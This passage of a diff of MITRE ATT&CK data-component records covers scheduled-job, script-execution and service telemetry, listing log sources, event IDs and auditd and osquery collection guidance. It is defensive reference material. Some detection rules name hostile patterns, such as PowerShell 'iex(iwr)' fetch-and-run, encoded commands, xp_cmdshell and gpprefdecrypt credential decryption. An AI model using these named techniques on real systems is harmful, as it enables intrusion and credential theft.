"channel": "execution of scheduled job" + }, + { + "name": "esxi:hostd", + "channel": "task creation events" + }, + { + "name": "macos:cron", + "channel": "cron/launchd" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4699" + }, + { + "name": "linux:cron", + "channel": "Scheduled execution of unknown or unusual script/binary" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0001\", \"external_id\": \"DC0001\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Scheduled Job\", \"channel\": \"None\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4698\"}, {\"name\": \"linux:syslog\", \"channel\": \"Execution of non-standard script or binary by cron\"}, {\"name\": \"WinEventLog:TaskScheduler\", \"channel\": \"EventCode=106\"}, {\"name\": \"linux:osquery\", \"channel\": \"crontab, systemd_timers\"}, {\"name\": \"macos:osquery\", \"channel\": \"launchd_jobs\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"Startup script and task execution logs\"}, {\"name\": \"kubernetes:apiserver\", \"channel\": \"verb=create, resource=cronjobs, group=batch\"}, {\"name\": \"linux:osquery\", \"channel\": \"file_events\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process: crontab edits, launch of cron job\"}, {\"name\": \"macos:osquery\", \"channel\": \"file_events - cron, launchd\"}, {\"name\": \"esxi:cron\", \"channel\": \"execution of scheduled job\"}, {\"name\": \"esxi:hostd\", \"channel\": \"task creation events\"}, {\"name\": \"macos:cron\", \"channel\": \"cron/launchd\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4699\"}, {\"name\": \"linux:cron\", \"channel\": \"Scheduled execution of unknown or unusual script/binary\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--c9ddfb51-eb45-4e22-b614-44ac1caa7883\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:35.814000+00:00\", \"old_value\": \"2025-04-18 15:11:43.635000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--7b375092-3a61-448d-900a-77c9a4bde4dc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.271000+00:00", + "modified": "2025-10-22 19:03:38.549000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/data-components/DC0005", + "external_id": "DC0005" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Scheduled Job Metadata", + "description": "Contextual data about a scheduled job, which may include information such as name, timing, command(s), etc.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Scheduled Job", + "channel": "None" + }, + { + "name": "linux:cron", + "channel": "/var/log/syslog or journalctl" + }, + { + "name": "fs:fileevents", + "channel": "/Library/LaunchDaemons/*.plist, ~/Library/LaunchAgents/*.plist" + }, + { + "name": "WinEventLog:TaskScheduler", + "channel": "Task registration/execution shortly after a time discovery event" + }, + { + "name": "linux::cron", + "channel": "crontab or at job created within TimeWindow post time discovery" + }, + { + "name": "macos:unifiedlog", + "channel": "New/modified launchd plist (persistence/scheduling) within TimeWindow after time query" + }, + { + "name": "esxi:syslog", + "channel": "/var/log/vpxa.log task invocations tied to time configuration" + }, + { + "name": "WinEventLog:System", + "channel": "EventCode=106, 200" + }, + { + "name": "linux:cron", + "channel": "cron activity" + }, + { + "name": "macos:launchd", + "channel": "launchd.plist and logs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_data_source_ref": "", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack", + "ics-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/data-components/DC0005\", \"external_id\": \"DC0005\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Scheduled Job\", \"channel\": \"None\"}, {\"name\": \"linux:cron\", \"channel\": \"/var/log/syslog or journalctl\"}, {\"name\": \"fs:fileevents\", \"channel\": \"/Library/LaunchDaemons/*.plist, ~/Library/LaunchAgents/*.plist\"}, {\"name\": \"WinEventLog:TaskScheduler\", \"channel\": \"Task registration/execution shortly after a time discovery event\"}, {\"name\": \"linux::cron\", \"channel\": \"crontab or at job created within TimeWindow post time discovery\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"New/modified launchd plist (persistence/scheduling) within TimeWindow after time query\"}, {\"name\": \"esxi:syslog\", \"channel\": \"/var/log/vpxa.log task invocations tied to time configuration\"}, {\"name\": \"WinEventLog:System\", \"channel\": \"EventCode=106, 200\"}, {\"name\": \"linux:cron\", \"channel\": \"cron activity\"}, {\"name\": \"macos:launchd\", \"channel\": \"launchd.plist and logs\"}]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-22 19:03:38.549000+00:00\", \"old_value\": \"2025-04-25 14:39:56.271000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}, \"root['x_mitre_data_source_ref']\": {\"new_value\": \"\", \"old_value\": \"x-mitre-data-source--c9ddfb51-eb45-4e22-b614-44ac1caa7883\"}}, \"iterable_item_added\": {\"root['x_mitre_domains'][1]\": \"ics-attack\"}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--faa34cf6-cf32-4dc9-bd6a-8f7a606ff65b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.271000+00:00", + "modified": "2025-10-21 15:14:38.292000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0012", + "external_id": "DC0012" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Scheduled Job Modification", + "description": "Changes made to an existing scheduled job, including modifications to its execution parameters, command payload, or execution timing.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Scheduled Job", + "channel": "None" + }, + { + "name": "auditd:CONFIG_CHANGE", + "channel": "/var/log/audit/audit.log" + }, + { + "name": "m365:exchange", + "channel": "Remove-InboxRule, Clear-Mailbox" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4702" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0012\", \"external_id\": \"DC0012\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Scheduled Job\", \"channel\": \"None\"}, {\"name\": \"auditd:CONFIG_CHANGE\", \"channel\": \"/var/log/audit/audit.log\"}, {\"name\": \"m365:exchange\", \"channel\": \"Remove-InboxRule, Clear-Mailbox\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4702\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--c9ddfb51-eb45-4e22-b614-44ac1caa7883\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:38.292000+00:00\", \"old_value\": \"2025-04-18 15:11:40.267000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.272000+00:00", + "modified": "2025-10-21 15:14:36.018000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0029", + "external_id": "DC0029" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Script Execution", + "description": "The execution of a text file that contains code via the interpreter.\n\n*Data Collection Measures:*\n\n- Windows Event Logs:\n - Event ID 4104 (PowerShell Script Block Logging) \u2013 Captures full command-line execution of PowerShell scripts.\n - Event ID 4688 (Process Creation) \u2013 Detects script execution by tracking process launches (`powershell.exe`, `wscript.exe`, `cscript.exe`).\n - Event ID 5861 (Script Execution) \u2013 Captures script execution via Windows Defender AMSI logging.\n- Sysmon (Windows):\n - Event ID 1 (Process Creation) \u2013 Monitors script execution initiated by scripting engines.\n - Event ID 11 (File Creation) \u2013 Detects new script files written to disk before execution.\n- Endpoint Detection and Response (EDR) Tools:\n - Track script execution behavior, detect obfuscated commands, and prevent malicious scripts.\n- PowerShell Logging:\n - Enable Module Logging: Logs all loaded modules and cmdlets.\n - Enable Script Block Logging: Captures complete PowerShell script execution history.\n- SIEM Detection Rules:\n - Detect script execution with obfuscated, encoded, or remote URLs.\n - Alert on script executions using `-EncodedCommand` or `iex(iwr)`.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Script", + "channel": "None" + }, + { + "name": "m365:office", + "channel": "VBA auto_open, auto_close, or document_open events" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream --predicate 'eventMessage contains \"python\"'" + }, + { + "name": "linux:syslog", + "channel": "/var/log/syslog" + }, + { + "name": "WinEventLog:System", + "channel": "EventCode=1502, 1503" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream --predicate 'eventMessage contains \"wscript\" OR \"vbs\"'" + }, + { + "name": "macos:unifiedlog", + "channel": "osascript or AppleScript invocation modifying UI" + }, + { + "name": "networkdevice:runtime", + "channel": "runtime" + }, + { + "name": "macos:unifiedlog", + "channel": "log" + }, + { + "name": "esxi:vmkernel", + "channel": "boot" + }, + { + "name": "macos:unifiedlog", + "channel": "AppleScript creating login item via 'System Events' dictionary" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4103, 4104" + }, + { + "name": "WinEventLog:Application", + "channel": "Stored procedure creation, modification, or xp_cmdshell invocation via SQL logs or SQL Server auditing" + }, + { + "name": "ApplicationLogs:SQL", + "channel": "Stored procedure creation or modification with shell invocation (e.g., system(), exec())" + }, + { + "name": "macos:unifiedlog", + "channel": "subsystem=launchservices" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "Set-ADUser or Set-ADAuthenticationPolicy with MFA attributes disabled" + }, + { + "name": "EDR:scriptblock", + "channel": "Process Tree + Script Block Logging" + }, + { + "name": "linux:syslog", + "channel": "boot logs" + }, + { + "name": "m365:defender", + "channel": "ScriptBlockLogging + AMSI" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream with predicate 'eventMessage CONTAINS \"osascript\"'" + }, + { + "name": "etw:Microsoft-Antimalware-Scan-Interface", + "channel": "Amsi/Script content + API verdicts during in-memory staging" + }, + { + "name": "esxi:shell", + "channel": "None" + }, + { + "name": "WinEventLog:System", + "channel": "EventCode=4016,5312" + }, + { + "name": "auditd:PROCTITLE", + "channel": "scripting loop invoking sleep/ping" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "Scripts with references to XML parsing, AES decryption, or gpprefdecrypt logic" + }, + { + "name": "macos:syslog", + "channel": "system.log, asl.log" + }, + { + "name": "macos:osquery", + "channel": "exec: Unexpected execution of osascript or AppleScript targeting sensitive apps" + }, + { + "name": "macos:unifiedlog", + "channel": "subsystem=com.apple.Security or com.apple.applescript" + }, + { + "name": "azure:activity", + "channel": "Microsoft.Compute/virtualMachines/runCommand/action: Abnormal initiation of Azure RunCommand jobs or PowerShell/Bash payloads" + }, + { + "name": "EDR:AMSI", + "channel": "Malicious inline C#/script blobs embedded in MSBuild projects if intercepted by AMSI-aware loaders (rare but possible via chained LOLBins)" + }, + { + "name": "macos:unifiedlog", + "channel": "osascript, AppleScript, or Python execution triggered immediately after HID connection" + }, + { + "name": "m365:unified", + "channel": "Scripted Activity" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0029\", \"external_id\": \"DC0029\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Script\", \"channel\": \"None\"}, {\"name\": \"m365:office\", \"channel\": \"VBA auto_open, auto_close, or document_open events\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream --predicate 'eventMessage contains \\\"python\\\"'\"}, {\"name\": \"linux:syslog\", \"channel\": \"/var/log/syslog\"}, {\"name\": \"WinEventLog:System\", \"channel\": \"EventCode=1502, 1503\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream --predicate 'eventMessage contains \\\"wscript\\\" OR \\\"vbs\\\"'\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"osascript or AppleScript invocation modifying UI\"}, {\"name\": \"networkdevice:runtime\", \"channel\": \"runtime\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"boot\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"AppleScript creating login item via 'System Events' dictionary\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"EventCode=4103, 4104\"}, {\"name\": \"WinEventLog:Application\", \"channel\": \"Stored procedure creation, modification, or xp_cmdshell invocation via SQL logs or SQL Server auditing\"}, {\"name\": \"ApplicationLogs:SQL\", \"channel\": \"Stored procedure creation or modification with shell invocation (e.g., system(), exec())\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"subsystem=launchservices\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"Set-ADUser or Set-ADAuthenticationPolicy with MFA attributes disabled\"}, {\"name\": \"EDR:scriptblock\", \"channel\": \"Process Tree + Script Block Logging\"}, {\"name\": \"linux:syslog\", \"channel\": \"boot logs\"}, {\"name\": \"m365:defender\", \"channel\": \"ScriptBlockLogging + AMSI\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream with predicate 'eventMessage CONTAINS \\\"osascript\\\"'\"}, {\"name\": \"etw:Microsoft-Antimalware-Scan-Interface\", \"channel\": \"Amsi/Script content + API verdicts during in-memory staging\"}, {\"name\": \"esxi:shell\", \"channel\": \"None\"}, {\"name\": \"WinEventLog:System\", \"channel\": \"EventCode=4016,5312\"}, {\"name\": \"auditd:PROCTITLE\", \"channel\": \"scripting loop invoking sleep/ping\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"Scripts with references to XML parsing, AES decryption, or gpprefdecrypt logic\"}, {\"name\": \"macos:syslog\", \"channel\": \"system.log, asl.log\"}, {\"name\": \"macos:osquery\", \"channel\": \"exec: Unexpected execution of osascript or AppleScript targeting sensitive apps\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"subsystem=com.apple.Security or com.apple.applescript\"}, {\"name\": \"azure:activity\", \"channel\": \"Microsoft.Compute/virtualMachines/runCommand/action: Abnormal initiation of Azure RunCommand jobs or PowerShell/Bash payloads\"}, {\"name\": \"EDR:AMSI\", \"channel\": \"Malicious inline C#/script blobs embedded in MSBuild projects if intercepted by AMSI-aware loaders (rare but possible via chained LOLBins)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"osascript, AppleScript, or Python execution triggered immediately after HID connection\"}, {\"name\": \"m365:unified\", \"channel\": \"Scripted Activity\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--12c1e727-7fa4-49b6-af81-366ed2ce231e\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:36.018000+00:00\", \"old_value\": \"2025-04-18 15:12:46.164000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.2\"}}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-21 15:14:36.315000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0060", + "external_id": "DC0060" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Service Creation", + "description": "The registration of a new service or daemon on an operating system.\n\n*Data Collection Measures:*\n\n- Windows Event Logs\n - Event ID 4697 - Captures the creation of a new Windows service.\n - Event ID 7045 - Captures services installed by administrators or adversaries.\n - Event ID 7034 - Could indicate malicious service modification or exploitation.\n- Sysmon Logs\n - Sysmon Event ID 1 - Process Creation (captures service executables).\n - Sysmon Event ID 4 - Service state changes (detects service installation).\n - Sysmon Event ID 13 - Registry modifications (captures service persistence changes).\n- PowerShell Logging\n - Monitor `New-Service` and `Set-Service` PowerShell cmdlets in Event ID 4104 (Script Block Logging).\n- Linux/macOS Collection Methods\n - AuditD & Syslog Daemon Logs (`/var/log/syslog`, `/var/log/messages`, `/var/log/daemon.log`)\n - AuditD Rules:\n - `auditctl -w /etc/systemd/system -p wa -k service_creation`\n - Detects changes to `systemd` service configurations.\n- Systemd Journals (`journalctl -u `)\n - Captures newly created systemd services.\n- LaunchDaemons & LaunchAgents (macOS)\n - Monitor `/Library/LaunchDaemons/` and `/Library/LaunchAgents/` for new plist files.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Service", + "channel": "None" + }, + { + "name": "WinEventLog:System", + "channel": "EventCode=7036" + }, + { + "name": "auditd:CONFIG_CHANGE", + "channel": "creation or modification of systemd services" + }, + { + "name": "macos:osquery", + "channel": "Process Events and Launch Daemons" + }, + { + "name": "WinEventLog:System", + "channel": "EventCode=7045" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=7045" + }, + { + "name": "linux:osquery", + "channel": "newly registered unit file with ExecStart pointing to unknown binary" + }, + { + "name": "macos:unifiedlog", + "channel": "creation or loading of new launchd services" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4697" + }, + { + "name": "linux:syslog", + "channel": "systemctl start/enable with uncommon binary paths" + }, + { + "name": "WinEventLog:System", + "channel": "EventCode=7031, 7034" + }, + { + "name": "macos:osquery", + "channel": "launch_daemons" + }, + { + "name": "macos:unifiedlog", + "channel": "launchd loading new LaunchDaemon or changes to existing daemon configuration" + }, + { + "name": "macos:osquery", + "channel": "detection of new launch agents with suspicious paths or unsigned binaries" + }, + { + "name": "kubernetes:audit", + "channel": "create" + }, + { + "name": "containerLogs:systemd_unit_files", + "channel": "unit file referencing container binary with persistent flags" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0060\", \"external_id\": \"DC0060\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Service\", \"channel\": \"None\"}, {\"name\": \"WinEventLog:System\", \"channel\": \"EventCode=7036\"}, {\"name\": \"auditd:CONFIG_CHANGE\", \"channel\": \"creation or modification of systemd services\"}, {\"name\": \"macos:osquery\", \"channel\": \"Process Events and Launch Daemons\"}, {\"name\": \"WinEventLog:System\", \"channel\": \"EventCode=7045\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=7045\"}, {\"name\": \"linux:osquery\", \"channel\": \"newly registered unit file with ExecStart pointing to unknown binary\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"creation or loading of new launchd services\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4697\"}, {\"name\": \"linux:syslog\", \"channel\": \"systemctl start/enable with uncommon binary paths\"}, {\"name\": \"WinEventLog:System\", \"channel\": \"EventCode=7031, 7034\"}, {\"name\": \"macos:osquery\", \"channel\": \"launch_daemons\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"launchd loading new LaunchDaemon or changes to existing daemon configuration\"}, {\"name\": \"macos:osquery\", \"channel\": \"detection of new launch agents with suspicious paths or unsigned binaries\"}, {\"name\": \"kubernetes:audit\", \"channel\": \"create\"}, {\"name\": \"containerLogs:systemd_unit_files\", \"channel\": \"unit file referencing container binary with persistent flags\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--d710099e-df94-4be4-bf85-cabd30e912bb\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:36.315000+00:00\", \"old_value\": \"2025-04-18 15:10:54.408000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--74fa567d-bc90-425c-8a41-3c703abb221c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-21 15:14:36.382000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0041", + "external_id": "DC0041" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Service Metadata", + "description": "Contextual data about a service/daemon, which may include information such as name, service executable, start type, etc.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Service", + "channel": "None" + }, + { + "name": "WinEventLog:sysmon", + "channel": "EventCode=4" + }, + { + "name": "linux:syslog", + "channel": "service stopped messages" + }, + { + "name": "macos:unifiedlog", + "channel": "launchctl disable or bootout calls" + }, + { + "name": "esxi:hostd", + "channel": "Stop VM or disable service events via vim-cmd" + }, + { + "name": "linux:syslog", + "channel": "auditd service stopped or disabled" + }, + { + "name": "macos:osquery", + "channel": "launchd" + }, + { + "name": "linux:osquery", + "channel": "scheduled/real-time" + }, + { + "name": "macos:unifiedlog", + "channel": "subsystem=com.apple.launchservices" + }, + { + "name": "esxi:hostd", + "channel": "registers services with legitimate-sounding names" + }, + { + "name": "WinEventLog:System", + "channel": "EventCode=7035" + }, + { + "name": "linux:syslog", + "channel": "Service restart with modified executable path" + }, + { + "name": "macos:unifiedlog", + "channel": "Observed loading of new LaunchAgent or LaunchDaemon plist" + }, + { + "name": "kubernetes:audit", + "channel": "seccomp or AppArmor profile changes" + }, + { + "name": "WinEventLog:System", + "channel": "Service stopped or RecoveryDisabled set via REAgentC" + }, + { + "name": "esxi:hostd", + "channel": "Service events" + }, + { + "name": "WinEventLog:WinRM", + "channel": "EventCode=6" + }, + { + "name": "auditd:CONFIG_CHANGE", + "channel": "delete: Modification of systemd unit files or config for security agents" + }, + { + "name": "macos:unifiedlog", + "channel": "Modification of system configuration profiles affecting security tools" + }, + { + "name": "kubernetes:audit", + "channel": "kubectl delete or patch of security pods/admission controllers" + }, + { + "name": "networkdevice:config", + "channel": "write: Startup configuration changes disabling security checks" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0041\", \"external_id\": \"DC0041\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Service\", \"channel\": \"None\"}, {\"name\": \"WinEventLog:sysmon\", \"channel\": \"EventCode=4\"}, {\"name\": \"linux:syslog\", \"channel\": \"service stopped messages\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"launchctl disable or bootout calls\"}, {\"name\": \"esxi:hostd\", \"channel\": \"Stop VM or disable service events via vim-cmd\"}, {\"name\": \"linux:syslog\", \"channel\": \"auditd service stopped or disabled\"}, {\"name\": \"macos:osquery\", \"channel\": \"launchd\"}, {\"name\": \"linux:osquery\", \"channel\": \"scheduled/real-time\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"subsystem=com.apple.launchservices\"}, {\"name\": \"esxi:hostd\", \"channel\": \"registers services with legitimate-sounding names\"}, {\"name\": \"WinEventLog:System\", \"channel\": \"EventCode=7035\"}, {\"name\": \"linux:syslog\", \"channel\": \"Service restart with modified executable path\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Observed loading of new LaunchAgent or LaunchDaemon plist\"}, {\"name\": \"kubernetes:audit\", \"channel\": \"seccomp or AppArmor profile changes\"}, {\"name\": \"WinEventLog:System\", \"channel\": \"Service stopped or RecoveryDisabled set via REAgentC\"}, {\"name\": \"esxi:hostd\", \"channel\": \"Service events\"}, {\"name\": \"WinEventLog:WinRM\", \"channel\": \"EventCode=6\"}, {\"name\": \"auditd:CONFIG_CHANGE\", \"channel\": \"delete: Modification of systemd unit files or config for security agents\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Modification of system configuration profiles affecting security tools\"}, {\"name\": \"kubernetes:audit\", \"channel\": \"kubectl delete or patch of security pods/admission controllers\"}, {\"name\": \"networkdevice:config\", \"channel\": \"write: Startup configuration changes disabling security checks\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--d710099e-df94-4be4-bf85-cabd30e912bb\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:36.382000+00:00\", \"old_value\": \"2025-04-25 14:39:52.137000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--66531bc6-a509-4868-8314-4d599e91d222", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-21 15:14:37.211000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0065", + "external_id": "DC0065" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Service Modification", + "description": "Changes made to an existing service or daemon, such as modifying the service name, start type, execution parameters, or security configurations.\n\n*Data Collection Measures: *\n\n- Windows Event Logs\n - Event ID 7040 - Detects modifications to the startup behavior of a service.\n - Event ID 7045 - Can capture changes made to existing services.\n - Event ID 7036 - Tracks when services start or stop, potentially indicating malicious tampering.\n - Event ID 4697 - Can detect when an adversary reinstalls a service with different parameters.\n- Sysmon Logs\n - Sysmon Event ID 13 - Detects changes to service configurations in the Windows Registry (e.g., `HKLM\\SYSTEM\\CurrentControlSet\\Services\\`).\n - Sysmon Event ID 1 - Can track execution of `sc.exe` or `PowerShell Set-Service`.\n- PowerShell Logging\n - Event ID 4104 (Script Block Logging) - Captures execution of commands like `Set-Service`, `New-Service`, or `sc config`.\n - Command-Line Logging (Event ID 4688) - Tracks usage of service modification commands:\n - `sc config start= auto` \n - `sc qc ` \n- Linux/macOS Collection Methods\n - Systemd Journals (`journalctl -u `) Tracks modifications to systemd service configurations.\n - Daemon Logs (`/var/log/syslog`, `/var/log/messages`, `/var/log/daemon.log`) Captures changes to service state and execution parameters.\n - AuditD Rules for Service Modification \n - Monitor modifications to `/etc/systemd/system/` for new or altered service unit files: `auditctl -w /etc/systemd/system/ -p wa -k service_modification`\n - Track execution of `systemctl` or `service` commands: `auditctl -a always,exit -F arch=b64 -S execve -F a0=systemctl -F key=service_mod`\n - OSQuery for Linux/macOS Monitoring\n - Query modified services 